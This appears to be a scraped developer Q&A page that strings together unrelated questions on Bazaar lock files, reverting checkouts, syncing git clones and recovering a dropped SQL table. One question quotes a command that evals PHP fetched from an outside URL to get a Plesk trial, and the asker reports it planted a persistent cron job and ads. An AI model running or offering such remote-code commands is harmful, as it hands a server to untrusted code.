I'm getting the following message after closing window displayed after bzr qlog:
Unable to obtain lock file:///home2/amadeuszs/.bazaar/lock held by Amadeusz on heh (process #21462), acquired 171 hours, 32 minutes ago.
Will continue to try until 11:24:11, unless you press Ctrl-C.
See "bzr help break-lock" for more.
I tried bzr break-lock but with no effect. Has anyone have any idea how to break that lock?
I don`t know when, or why bazaar created this lock. If you want to remove it, you can just delete /home2/amadeuszs/.bazaar/lock, for example using:
rm -rf /home2/amadeuszs/.bazaar/lock
Related
there is a cron i delete it is not deleted. Please help me. I used this code to use Plesk trial. Now it has added ads to the Panel and I can't delete the cronjob.
I tried crontab -r but no use, it returns automatically.
No matter how many times I try it won't be deleted. I deleted it from the Plesk panel but it comes back immediately. I can't add another license because of this.
this is the code
/usr/local/psa/admin/bin/php -er "eval(file_get_contents('https://ossav.com/PTC'));"
I have an SQL file containing several commands, when I need to make a correction to my application database that the application can't yet do, I use DBVis to select and execute the command I need (e.g. to delete an incorrect entry). Problem is, the button to run the whole page is right next to the button to run a selected command. So I just dropped and re-created my table, losing all my data. Is there a way to undo this?
I'm looking to either 'undo' each command until I get back to the right place, or revert back to yesterday, where I know everything was correct.
Thanks!
Yes, you can if...
your administration tool did set autocommit=OFF by default, you can
just execute a ROLLBACK (or just shutdown your administration tool)
If latter doesn't work, check if your binary log was enabled, and restore with mysqlbin log tool
If none of the above mentioned solution works, use your (probably not existent) backup for restoring
I have a clone for server development and another for client development. Both material will eventually make it into the same branch, but I want to synchronize them and I want it to perform a merge as though I had commit pushed and pulled, but I want to do it without that.
I'm able to make a patch with this script I wrote:
git diff --cached
git diff
on the server, but applying that to the client is much harder.
I've tried the Unix patch command, for some reason, it keeps asking me what files to patch, like I can't find them. (Yes, they're there) I've tried
git apply -3 patch.patch
but that gives a lot of errors like "with conflicts" (without making any changes) and "does not match index". It doesn't even seem to be trying to patch the other half of the files.
Stashing, then applying the patch, and then popping from the stash doesn't work, because unstashing refuses to do merges.
It looks like doing it without the pulling isn't going to work--I haven't found a way to do it conveniently and safely. However, my problem with committing is that I didn't want to spam the git log with garbage like:
Sync'ing to client
Sync'ing back to server
Oops! Sync'ing something I forgot to the server again!
etc.
But I can avoid all this by committing, then pulling from the remote repos. In the end, I wouldn't have to push those commits, since I would use reset to remove them all from the local repo and then, with all my changes in the working directory, do a proper commit and push it.
Gotachas
They are many.
It's commonly known that you shouldn't reset your local repo if something has already pulled from it. This is probably from the obvious confusion that results when one repo delete commits that another repo believes were there. For that reason it's important that the same reset is performed on both repos before they start sharing code again.
If after you've done your commits that you later want to reset, then pull/merge, you could make things very difficult for yourself. There should be a way to manage it, but I haven't yet figured it out. One idea is to reset, stash, pull, merge, and commit again. Another involves revert with the -n option.
Instructions
The following example assumes you have 2 clones; one called "client" and the other "server".
Following https://help.github.com/articles/adding-a-remote, setup your client's and server's repo on each others' systems to they can pull from each other.
When you want to sync, just commit on the donor system, then instead of pulling from the origin, pull from a remote. Say the client wanted a commit from the server. On the client:: git pull myserver-repo mybranch.
Merge and conflict-resolve as necessary.
Loop back to 2 as many times as is necessary.
After several iterations of 2-4, you arrive at the point when you are ready to push your changes to the server. Go to whichever local repo has all the changes you want pushed, then run git log. Find the commit before the first commit you did in 2. Copy its hash to the clipboard.
Then git reset: git reset <hash you copied in 5>.
You should then see all the commits you don't want disappear from the log and all the changes therein in your working directory. Commit and push.
It's important that you do a cleanup on the repo from which you didn't perform 5-7. So if you pushed from your server repo, you need to perform the same reset operation on your client, then dispense with the changes as you see fit. My preferred method is git stash save "delete_me".
I have a file and I checkout using the command (BZR CHECKOUT ...). Now, I made a lot of commits and found out there are errors in my codes. I want to revert all my files back to its original form after I first checkout. can anybody help me with a step-by-step process/command. thanks!
You can revert your pending (= uncommitted) changes with:
bzr revert
Or if you want to return to the state of a past revision, let's say revision 17, you can do:
bzr update -r 17
Hit the following situtation a couple of times today:
Myself and another dev both have bazaar local checkouts of a repository.
I make some changes.
The other dev makes and commits some changes.
I update.
The other dev realises their previous changes were broken and uncommits them.
I update.
Now the other dev's uncommitted changes appear as a pending merge in my local checkout, and I can't find a way to separate them from my changes and remove them from my 'local' tree.
Every time this has happened I've had to manually work out which changes are mine and which are not, save my changes, revert, and then re-apply my changes.
I've tried doing a "cherrypicking" reverse merge on my checkout between -r -1..-2, and between -r 0..-1, but neither helped. (0..-1 said "nothing to do", although I might not have done it properly. -1..-2 was the wrong set of changes and thus made things worse.)
How can I fix this situation when it happens (other than going over and smacking the other dev upside the head)?
It is recommended that you don't uncommit in branches that are published somehow, thus avoiding this issue.
Well once you have updated (step 4), the other guy's changes will be merged with yours permanently. Since your changes were uncommitted, they aren't stored anywhere. Therefore, once step 6 has happened, I don't really see a way of automatically separating out your changes from his.
So let's say you manually remove all of his changes so you're just left with yours. You still have this pending merge to deal with. You can fix that by typing
$ bzr revert --forget-merges
That will not change your working tree; it will only remove the pending merge from your "bzr st" so that when you commit it will not look like a merge. This should save you from having to save your changes, revert and re-apply.
To avoid this happening again, you could run bzr update only immediately before you commit. Once merged, to a bzr commit right away, and your changes are locked in. Now he won't be able to uncommit without first updating and seeing your changes, and now it's probably too late for him to do that. If he really wants to go ahead with his uncommit, he's the one that has to deal with the mess, not you.
One final thing you can do -- if you really don't want to deal with it and you don't care too much about having a nice version history. After step 6, just commit. Maybe explain in your log that the other dev uncommitted this change but too late.
This is where the pending merge comes in. If you commit, the uncommitted revision will go back into the repository, as a branch, just as if the other dev had send those changes to you in an email and you merged them. It will look like this:
------------------------------------------------------------
revno: 34 [merge]
committer: You
branch nick: trunk
timestamp: Fri 2010-11-26 15:57:27 +1100
message:
Made my changes to the file.
Note, other guy did some of these changes and uncommitted, but
I already merged.
------------------------------------------------------------
revno: 33.1.1
committer: Other Guy
branch nick: trunk
timestamp: Fri 2010-11-26 15:39:39 +1100
message:
Made some changes to the file.
------------------------------------------------------------
When he runs update again, he'll have his old changes thrown back at him, and probably get a conflict. He'll have to clean it up, then commit his fixes (whatever reason he had to uncommit in the first place). This is probably just as effective as a smack upside the head, and works over a network :)
It looks like bzr pull --overwrite :bound is what you're after.